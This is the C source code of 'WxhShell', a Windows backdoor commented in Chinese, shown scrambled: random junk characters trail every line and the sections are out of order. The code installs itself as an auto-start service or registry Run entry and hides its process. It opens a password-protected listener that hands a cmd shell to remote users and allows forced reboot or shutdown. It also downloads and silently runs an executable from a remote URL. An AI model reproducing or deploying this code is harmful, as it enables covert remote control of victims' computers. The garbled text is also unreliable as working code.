    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E/%"%&`8j  
    if(Boot(SHUTDOWN)) w@cW`PlF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v]F4o1ckk  
    else { t4v'X}7q]  
    closesocket(wsh); Q#SQ@oUzD  
    ExitThread(0); $>O~7Nfst7  
    } !R\FCAW[x  
    break; lbIPtu  
    } R3|4|JlGR  
  // 获取shell \#dacQ2E@  
  case 's': { jLVD37 P^  
    CmdShell(wsh); =%IyR  
    closesocket(wsh); 6Nn+7z<*&z  
    ExitThread(0); 8t*sp-cy|  
    break; At=d//5FFP  
  } M;ADL|  
  // 退出 ~:T@SrVI  
  case 'x': { 2m yxwA5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eeCG#NFY5  
    CloseIt(wsh); miQ*enZi  
    break; =NC??e{  
    } *4`5&) `  
  // 离开 AK&>3D  
  case 'q': { |w{Qwf!2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MAFdJ +n#  
    closesocket(wsh); ,7)hrA$(  
    WSACleanup(); Yn= "vpM1  
    exit(1); d:K\W[$Bz  
    break; F.$z7ee@  
        } }p2iF2g9`  
  } Gg9MAK\C9  
  } =cjO]  
]Rxo}A  
  // 提示信息 X=]utn  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~r8<|$;  
} 0@cIj ]  
  } pIcg+~  
3_XLx{["'  
  return; s)qrlv5H  
} nD*iSb*  
t sUu  
// shell模块句柄 <nbk lo  
int CmdShell(SOCKET sock) EyPJ Jc8  
{ V2T% tn;rp  
STARTUPINFO si; JXU ?'@QY  
ZeroMemory(&si,sizeof(si)); ,k4pW&A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oxc;DfJ_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PJN9[Y{^3  
PROCESS_INFORMATION ProcessInfo; B1nm?E 0i  
char cmdline[]="cmd"; C&w0HoF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &F~d~;G"q  
  return 0; o(jLirnk  
} ZJBb% d1;  
tjXg  
// 自身启动模式 ktTP~7UVi  
int StartFromService(void) aHW34e@ebL  
{ \~,\|  
typedef struct *%KIq/V  
{ a#r{FoU{M8  
  DWORD ExitStatus;  J3 Q_  
  DWORD PebBaseAddress; kMch   
  DWORD AffinityMask; G'/G DN^j  
  DWORD BasePriority; +M I{B="7.  
  ULONG UniqueProcessId; 4DCh+|r  
  ULONG InheritedFromUniqueProcessId; _< .VP  
}   PROCESS_BASIC_INFORMATION; 8~C}0H  
X<;.  
PROCNTQSIP NtQueryInformationProcess; \]Ah=`  
S^p b9~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,jg #^47I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nA,=g'7S  
SQcic]Ep  
  HANDLE             hProcess; xc}[q`vK  
  PROCESS_BASIC_INFORMATION pbi; ch0^g8@Q[  
(X"5x]7]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P knOeW"j  
  if(NULL == hInst ) return 0; X|hYZR  
LQPQ !):;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R'c dEoy  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M+ %O-B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -@w,tbc$  
:V+rC]0  
  if (!NtQueryInformationProcess) return 0; }/1^Lqfnz  
GE!nf6>Km  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *% ;A85V/  
  if(!hProcess) return 0; "t4z)j;  
Cst1nGPL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -6- sI  
'69)m~B0a  
  CloseHandle(hProcess); W$hCI)m(  
_r3Y$^!U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2v ~8fr4  
if(hProcess==NULL) return 0; !FP ]  
(v/L   
HMODULE hMod; ,Lp"Ia  
char procName[255]; }VJ>}i*  
unsigned long cbNeeded; ,g7O   
hTLf$_|P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L1RD`qXu.  
WS n>P7sY  
  CloseHandle(hProcess); 1i z =i^}  
_9lMa 7i  
if(strstr(procName,"services")) return 1; // 以服务启动 ^\gb|LEnK  
Cu#n5SF*  
  return 0; // 注册表启动 ?{TWsuP7  
} \2y/:  
,V9qiu=m   
// 主模块 uZn_*_J!  
int StartWxhshell(LPSTR lpCmdLine) j_90iP^5:  
{ Zb1GR5MB`k  
  SOCKET wsl; fs#9~b3  
BOOL val=TRUE; :.g/=Q(T~  
  int port=0; 8`+=~S  
  struct sockaddr_in door; o4FHR+u<M  
F!#)l*OX;  
  if(wscfg.ws_autoins) Install(); im &N &A  
Zt9G[[]  
port=atoi(lpCmdLine); D*-  
/W,hOv  
if(port<=0) port=wscfg.ws_port; 0j!<eN=  
_WWC8?6 U  
  WSADATA data; 3:jxr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jnp~ACN,  
W'vekuM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $||WI}k3V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p4z4[=-:  
  door.sin_family = AF_INET; 9)t b=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _\+]/rY9o  
  door.sin_port = htons(port); q#AEu xI1  
j%'2^C8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^oPFLez56  
closesocket(wsl); _=I1  
return 1; 'hr_g* i  
} M%ecWr!tj  
!8UIyw  
  if(listen(wsl,2) == INVALID_SOCKET) { +C!GV.q[  
closesocket(wsl); QYo04`Rl  
return 1; [&99#7B  
} x @43ZH_  
  Wxhshell(wsl); y$7Ys:R~  
  WSACleanup(); %_s)Gw&sq  
<MG&3L.[  
return 0; kNWTM%u9  
'M6+(`x  
} bI0xI[#Q  
} F{s\qUt  
// 以NT服务方式启动 Ox J0. "  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IWv5UmjN  
{ #w|v.35%?  
DWORD   status = 0; eoww N>-2C  
  DWORD   specificError = 0xfffffff; Tfh2>  
/A0_#g:2*#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `G!HGzVx;j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4$VDJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5 OWyxO3{  
  serviceStatus.dwWin32ExitCode     = 0; ++b[>};  
  serviceStatus.dwServiceSpecificExitCode = 0; k vZw4Pk  
  serviceStatus.dwCheckPoint       = 0; >U* p[FGW  
  serviceStatus.dwWaitHint       = 0; 1]''@oh{6U  
Ld.9.d]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nQV0I"f]?]  
  if (hServiceStatusHandle==0) return; $#f_p-N  
1#3|PA#>  
status = GetLastError(); wyX3qH  
  if (status!=NO_ERROR) w3q'n%  
{ mTu>S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tco G;ir  
    serviceStatus.dwCheckPoint       = 0; A^).i_&#  
    serviceStatus.dwWaitHint       = 0; fmK~?  
    serviceStatus.dwWin32ExitCode     = status; ^dLu#,;  
    serviceStatus.dwServiceSpecificExitCode = specificError; MkMDI)Y|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Z)u04;&@  
    return; +r"}@8/\1  
  } b|.Cqsb  
2R,} j@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,!Q nh:  
  serviceStatus.dwCheckPoint       = 0; R4 eu,,J  
  serviceStatus.dwWaitHint       = 0; U:8] G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j17h_ a;  
} `Ns@W?  
!{+CzUo@  
// 处理NT服务事件,比如:启动、停止 'MW%\W;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M *w{PjU  
{ PY_8*~Z  
switch(fdwControl) 4r4 #u'Om  
{ T5T%[Gv  
case SERVICE_CONTROL_STOP: a6 vej  
  serviceStatus.dwWin32ExitCode = 0; _ab8z]H   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iwM xTty  
  serviceStatus.dwCheckPoint   = 0; A'`F Rx(  
  serviceStatus.dwWaitHint     = 0; s1wlOy  
  { d@ 8M_ O |  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :AlvWf$d  
  } !dwZ`D  
  return; P6kD tUXF  
case SERVICE_CONTROL_PAUSE: h=`$ec  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kP$ E+L  
  break; ',g%L_8Sq  
case SERVICE_CONTROL_CONTINUE: o3+s.7 "  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rP]|`*B  
  break; _D}3``  
case SERVICE_CONTROL_INTERROGATE: 4o M~  
  break; 3m75mny  
}; Nzgi)xX0HX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?xv."I%  
} uz+ WVmb  
2iM}YCV  
// 标准应用程序主函数 v\dQjQu8m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tk[]l7R~  
{ (bv{1 7K  
:@jctH~  
// 获取操作系统版本 %ZD]qaU0  
OsIsNt=GetOsVer(); P\K#q%8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DgcS@N  
%J2Ad  
  // 从命令行安装 b?OA|JqX  
  if(strpbrk(lpCmdLine,"iI")) Install(); >k`qPpf&  
[ x+ -N7  
  // 下载执行文件 V-#JV@b  
if(wscfg.ws_downexe) { Htr]_<@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |dEPy- Xe  
  WinExec(wscfg.ws_filenam,SW_HIDE); o_Z9\'u  
} )nf%S+KV  
?" 4X&6xl  
if(!OsIsNt) { 8y6dT  
// 如果时win9x,隐藏进程并且设置为注册表启动 @"NP`#  
HideProc(); pLe4dz WA  
StartWxhshell(lpCmdLine); D~ 3@v+d  
} MzUKp"  
else -4+'(3qr  
  if(StartFromService()) 4+>yL+sC%v  
  // 以服务方式启动 bP-(N14x+  
  StartServiceCtrlDispatcher(DispatchTable); uQH]  
else 0J/yd  
  // 普通方式启动 V0 {#q/q  
  StartWxhshell(lpCmdLine); D+;4|7s+  
UfPB-EFl$D  
return 0; 7/a7p(   
} 0qNmao4E_  
wxcJ2T dH  
J'|[-D-a  
]Xa]a}[uE  
=========================================== LE{@J0r#n  
Sak^J.~G[  
($`IHKF1.l  
_Ycz@Jn  
;taZixOH  
XdThl  
" 7#+Ih-&EQ  
~Yc~_)hD  
#include <stdio.h> M887 Q'HSi  
#include <string.h> k-3;3Mq  
#include <windows.h> Q8Ek}O\MC  
#include <winsock2.h> 5@1h^w v  
#include <winsvc.h> *JX$5bZsI  
#include <urlmon.h> MOB4t|  
]\K?%z  
#pragma comment (lib, "Ws2_32.lib") l=9D!6 4  
#pragma comment (lib, "urlmon.lib") tH;9"z# ~  
<2@t ~ 9  
#define MAX_USER   100 // 最大客户端连接数 6R^F^<<  
#define BUF_SOCK   200 // sock buffer l-W)? d  
#define KEY_BUFF   255 // 输入 buffer :I7qw0?  
[r>hK ZU2  
#define REBOOT     0   // 重启  "2%R?  
#define SHUTDOWN   1   // 关机 l opl  
g zi=+oJ|4  
#define DEF_PORT   5000 // 监听端口 ?;](;n#lU  
>F^$ ' b]  
#define REG_LEN     16   // 注册表键长度 t)8c rX}P  
#define SVC_LEN     80   // NT服务名长度 j%3 $ytf|p  
Tx&H1  
// 从dll定义API i#YDdz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <H] PP6_g:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bn 8&~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h(nE)j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s[{8:Px  
Ay6T*Nu`  
// wxhshell配置信息 9nQyPb6  
struct WSCFG { A4l"^dZc  
  int ws_port;         // 监听端口 _:Q^mV=;j  
  char ws_passstr[REG_LEN]; // 口令 }P%gwgPK  
  int ws_autoins;       // 安装标记, 1=yes 0=no $I-iq @  
  char ws_regname[REG_LEN]; // 注册表键名 i/ o  
  char ws_svcname[REG_LEN]; // 服务名 `2U,#nZ 4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V9< E `C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 chD7 ^&5]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bny@AP(CY+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rkS'OC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +Q_xY>ej  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0e"KdsA:<U  
qDswFs(  
}; !-qk1+<h  
o"RE4s\G~r  
// default Wxhshell configuration YRZw|H{>t  
struct WSCFG wscfg={DEF_PORT, F ! v01]O  
    "xuhuanlingzhe", 4`v[p4k  
    1, 7Y~5gn  
    "Wxhshell", u* iqwm.  
    "Wxhshell", b*| ?7  
            "WxhShell Service", |1ry*~  
    "Wrsky Windows CmdShell Service", QP<P,Bi~  
    "Please Input Your Password: ", moVf(7  
  1, #|769=1  
  "http://www.wrsky.com/wxhshell.exe", ZHA&gdK@  
  "Wxhshell.exe" 3<FqK\P  
    }; H"pYj  
jyg>'"W  
// 消息定义模块 .w\4Th#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a&[[@1OY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yT3K 2A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i)@vHh82  
char *msg_ws_ext="\n\rExit."; /-<]v3J  
char *msg_ws_end="\n\rQuit."; 1:cq\Y  
char *msg_ws_boot="\n\rReboot..."; A+Je?3/.  
char *msg_ws_poff="\n\rShutdown..."; ocW`sE?EED  
char *msg_ws_down="\n\rSave to "; 9|>y[i  
3H"F~_H  
char *msg_ws_err="\n\rErr!"; p(4Ek"  
char *msg_ws_ok="\n\rOK!"; Q!~1Xc0S`p  
 KYccjX  
char ExeFile[MAX_PATH]; b2F1^]p  
int nUser = 0; %E, -dw  
HANDLE handles[MAX_USER]; 79Q,XRWh|  
int OsIsNt; {QK9pZB  
k]& I(VQ"  
SERVICE_STATUS       serviceStatus; Obc,    
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .*FlB>1jy  
/%?bO-  
// 函数声明 >)+U^V  
int Install(void); z SsogAx  
int Uninstall(void); *qMjoP,  
int DownloadFile(char *sURL, SOCKET wsh); k3OnvnJb  
int Boot(int flag); >>J!|  
void HideProc(void); Z+J~moW `  
int GetOsVer(void); N9)ERW2`*  
int Wxhshell(SOCKET wsl); /$vX1T  
void TalkWithClient(void *cs); QBoX3w=  
int CmdShell(SOCKET sock); @J@bD+Q+0  
int StartFromService(void); K1<l/ s  
int StartWxhshell(LPSTR lpCmdLine); N/^[c+J  
l%2B4d9"v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1 d.>?^uE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wL0"1Ya  
Dhg/>@tw  
// 数据结构和表定义 Eh_[8:dK  
SERVICE_TABLE_ENTRY DispatchTable[] = _x#r,1V+D  
{ b[;3y/X  
{wscfg.ws_svcname, NTServiceMain}, dj0D u^ v4  
{NULL, NULL} t.O4-+$ig  
}; /s:akLBaD  
'?fn} V  
// 自我安装 Yu^}  
int Install(void) v g tJ+GjN  
{ [iSLn3XXRX  
  char svExeFile[MAX_PATH]; m} =<@b:l  
  HKEY key; +fIy eX  
  strcpy(svExeFile,ExeFile); S 1Ji\  
1 gRR  
// 如果是win9x系统,修改注册表设为自启动 .fW`/BXE  
if(!OsIsNt) { zgpPu4t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VKrKA71Z~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z3T26Uk  
  RegCloseKey(key); 7xT<|3 I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p@znmn-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^h|'\-d\  
  RegCloseKey(key); n_] OYG>U  
  return 0; |om3*]7  
    } ~Uz|sQ*G  
  } KQqQ@D&n  
} tX}Fb0y  
else { `+@%l*TQ  
[c6_6q As  
// 如果是NT以上系统,安装为系统服务 }KkH7XksF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F{<r IR  
if (schSCManager!=0) }@A~a`9g  
{ .~8IW,[  
  SC_HANDLE schService = CreateService t! Av [K  
  ( Vk~}^;`Y  
  schSCManager, G}~b  
  wscfg.ws_svcname, d{GXFT;0  
  wscfg.ws_svcdisp, WI'csM;M#  
  SERVICE_ALL_ACCESS, 4]8PF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z#*GPA8Em:  
  SERVICE_AUTO_START, kQBVx8Uq]  
  SERVICE_ERROR_NORMAL, <~8W>Y\m  
  svExeFile, tv|=`~Y  
  NULL, oq<#  
  NULL, Bp6Evi  
  NULL, -XY]WWlq  
  NULL, bmddh2  
  NULL TT&!WbA-Hk  
  ); o_$r*Z|HG  
  if (schService!=0) RMrt4:-DI  
  { gA) F  
  CloseServiceHandle(schService); uTJ?@ ^nq  
  CloseServiceHandle(schSCManager); Cw^)}23R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cRfX  
  strcat(svExeFile,wscfg.ws_svcname); s^v,i CH {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "|&*MjwN6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p0YTZS ]h  
  RegCloseKey(key); (}qLxZ/U  
  return 0; V[#lFl).  
    } cE]kI,Fw,M  
  } FRF}V@~  
  CloseServiceHandle(schSCManager); "Ii!)n,  
} F;NZJEy  
} 6<~y!\4;F  
,zyrBO0 Eq  
return 1; _bz,G"w+:  
} bo"I:)n;  
Tp6ysjao  
// 自我卸载 },L[bDOV07  
int Uninstall(void) %E!0,y,:  
{ fu&]t8MJC  
  HKEY key; 5Np.&  
XZT( :(  
if(!OsIsNt) { Wl2>U(lj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =gqZ^v&5U  
  RegDeleteValue(key,wscfg.ws_regname); ?3, *  
  RegCloseKey(key); ff hD+-gTU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! O>mu6:Rf  
  RegDeleteValue(key,wscfg.ws_regname); Yr,1##u  
  RegCloseKey(key); ^~I  
  return 0; 5astv:p,P  
  }  MU^Z*r  
} <z4!m/f [(  
} J\0YL\jw1K  
else { !%(B2J  
Yb\36|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \5l}5<|  
if (schSCManager!=0) TPzoU" qh  
{ /kq~*s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }R'oAE}$  
  if (schService!=0) ixkg,  
  { 0nd<6S+fs  
  if(DeleteService(schService)!=0) { MLb\:Ihy  
  CloseServiceHandle(schService); TP^0`L  
  CloseServiceHandle(schSCManager); \dMsv1\  
  return 0; [)=FZF6kG  
  } P$QfcJq&c*  
  CloseServiceHandle(schService); 3WVHI$A9  
  } $_UF9 l0  
  CloseServiceHandle(schSCManager); Q&LkST-i  
} pQhv3F  
} GgYomR:  
}?^G= IP4(  
return 1; Z~gqTB]H  
} DQ}]'*@?  
iB`m!g6$  
// 从指定url下载文件 oAx0$]+%V)  
int DownloadFile(char *sURL, SOCKET wsh) YD%Kd&es  
{ +Lr0i_al  
  HRESULT hr; N!3f1d7RQ  
char seps[]= "/"; ;vx9xs?6  
char *token; HTG;'$H^  
char *file; /P%:u0fX,  
char myURL[MAX_PATH]; dd+).*  
char myFILE[MAX_PATH]; xVP GlU  
I|:j~EY  
strcpy(myURL,sURL); Bk F[nL*|  
  token=strtok(myURL,seps); G~Sfpf  
  while(token!=NULL) re*/JkDq3K  
  { ;D7jE+  
    file=token; A!~o?ej  
  token=strtok(NULL,seps); ^pP 14y*go  
  } gs3}rW  
zkOgL9 (_8  
GetCurrentDirectory(MAX_PATH,myFILE); 73.b9mF  
strcat(myFILE, "\\"); m~K]|]iqQ  
strcat(myFILE, file); tQ67XAb  
  send(wsh,myFILE,strlen(myFILE),0); {mQJ6 G'ny  
send(wsh,"...",3,0); #@fypCc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gr=`_k4~1  
  if(hr==S_OK) XTJ>y@  
return 0; BSY#xe V  
else m @%|Q;  
return 1; wMoAvA_oS  
bW]+Og  
} +*q@=P,  
/~[R u  
// 系统电源模块 >>r:L3<!  
int Boot(int flag) jo*9QO  
{ -G 'lyH  
  HANDLE hToken; e{,/  
  TOKEN_PRIVILEGES tkp; mI%/k7:sf  
URgF8?n  
  if(OsIsNt) { pS \>X_G3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AngwBZ@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~e<<aTwN  
    tkp.PrivilegeCount = 1; v2'J L(=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &?nF' ;&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1^3#3duV  
if(flag==REBOOT) { S8VR#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A@OV!DJe]  
  return 0; 1c!},O  
} ap~Iz  
else { xTMTkVa+B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [)A#9L~s=  
  return 0; fLAF/#\2  
} U:9vjY  
  } P>-,6a>  
  else { ? h%+2  
if(flag==REBOOT) { =.a ]?&Yyh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M6sDtL9l  
  return 0; 08a|]li  
} [Bo$?  
else { KF)i66  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3D0I5LF&  
  return 0; val<N293L>  
} (T01hR&  
} j+hoj2(  
b*KZe[#M1  
return 1; W\7*T1TDj  
} b3lpNJ J  
KoJG! Rm  
// win9x进程隐藏模块 r `dU (T!  
void HideProc(void) -huZnDN  
{ * U4:K@y  
sBnPS[Oo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); beE%%C]X  
  if ( hKernel != NULL ) K~-XDLh5Nu  
  { ZZ*k3Ce  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [B`P]}gL:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~x:] ch|  
    FreeLibrary(hKernel); -; $/<  
  } =1 \wZuK#  
.<%M8rcj  
return; $lA,{Q  
} 59J9V3na  
UAZ&*{MM^  
// 获取操作系统版本 hJsC \C,^  
int GetOsVer(void) ,v_r$kh^  
{ Y;Gm,  
  OSVERSIONINFO winfo; YPnJldVn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ':]a.yA\1  
  GetVersionEx(&winfo); N-E`go  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) oFR'GUQC  
  return 1; TP::y  
  else j:3Hm0W3  
  return 0; h+D=/:B  
}  u$8MVP  
Cl!jK^AbG  
// 客户端句柄模块 {1|7N GQ  
int Wxhshell(SOCKET wsl) ZF (=^.gc  
{ V JL;+  
  SOCKET wsh; W2h[NimU  
  struct sockaddr_in client; l$_rA~Mo  
  DWORD myID; z&,sm5Lb  
Po. BcytM  
  while(nUser<MAX_USER) \r,. hUp  
{ $:II @=  
  int nSize=sizeof(client); M) XQi/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m?$G(E5  
  if(wsh==INVALID_SOCKET) return 1; PSS/JFZ^  
, vyx`wDd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D(U3zXdO  
if(handles[nUser]==0) @(fY4]K  
  closesocket(wsh); ilpZ/Rs  
else agT[y/gb  
  nUser++; e~]e9-L>I  
  } "IJMvTmj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MWh+h7k'  
q Xhf?x  
  return 0; l>Ja[`X@  
} y4rJ-  
':)j@O3-  
// 关闭 socket PJ:5Lb<  
void CloseIt(SOCKET wsh) $ywh%OEH  
{ +N:6wZ7<f  
closesocket(wsh); xGv,%'u\  
nUser--; ]},Q`n>$  
ExitThread(0); J&65B./mD9  
} wg0.i?R-]  
![ID0}MjJ  
// 客户端请求句柄 -Bv1}xf=6  
void TalkWithClient(void *cs) dt&Lwf/  
{ @i-@mxk6<  
DeQ'U!?+N  
  SOCKET wsh=(SOCKET)cs; %&+R":Bw  
  char pwd[SVC_LEN]; .0W4Dp  
  char cmd[KEY_BUFF]; X3iRR{< @  
char chr[1]; 4 Olv8nOe<  
int i,j; h=r< B\Pa  
L00 ;rTs>  
  while (nUser < MAX_USER) { J*KBG2+13  
Tc5OI'-V  
if(wscfg.ws_passstr) { 3l(;Pt-yI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,h.Jfo54,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yi-"hT`  
  //ZeroMemory(pwd,KEY_BUFF); A<X :K nl  
      i=0; U{uWk3I_b  
  while(i<SVC_LEN) { 4$DliP  
=k<4mlok^  
  // 设置超时 #s R0*  
  fd_set FdRead; A6y~_dt  
  struct timeval TimeOut; Hs -.83V  
  FD_ZERO(&FdRead); )k] !u  
  FD_SET(wsh,&FdRead); V3~a!k  
  TimeOut.tv_sec=8; 8421-c6y>  
  TimeOut.tv_usec=0; jI2gi1 ,a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^ O Xr: P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JKi@Kw  
;4v}0N~.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (VPM>ndkw  
  pwd=chr[0]; K(KP3Q  
  if(chr[0]==0xd || chr[0]==0xa) { 5J\|gZQF  
  pwd=0; ;@YF}%!+W  
  break; xgqv2s>L  
  } 3/IWO4?_  
  i++; dzE Q$u/I  
    } ?$@ KwA  
m-S33PG{  
  // 如果是非法用户,关闭 socket &G|jzXE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YEPG[W<kg  
} |U$de2LF  
*5_ 8\7d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y_4krY|Zx  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2|H91Y2  
9eN2)a/  
while(1) { VO;UV$$  
|]!Ky[P  
  ZeroMemory(cmd,KEY_BUFF); $x_52 j\j  
LVFsd6:h  
      // 自动支持客户端 telnet标准   uyRA`<&w  
  j=0; 7}tZ?vD  
  while(j<KEY_BUFF) { t6g)3F7T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E,D:D3O  
  cmd[j]=chr[0]; U>_\  
  if(chr[0]==0xa || chr[0]==0xd) { ,dj* p ,J  
  cmd[j]=0; CVSsB:H6e  
  break; /mB Beg^a  
  } BXK::M+  
  j++; Ril21o! j  
    } &Wz`>qYL*  
BUA6(  
  // 下载文件 qzlMn)e  
  if(strstr(cmd,"http://")) { zhX`~){N6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HMS9y%zl/  
  if(DownloadFile(cmd,wsh)) :OQ:@Yk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #C,f/PXfaB  
  else bu"68A;>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ic0v*Y$  
  } +G!jKta7B  
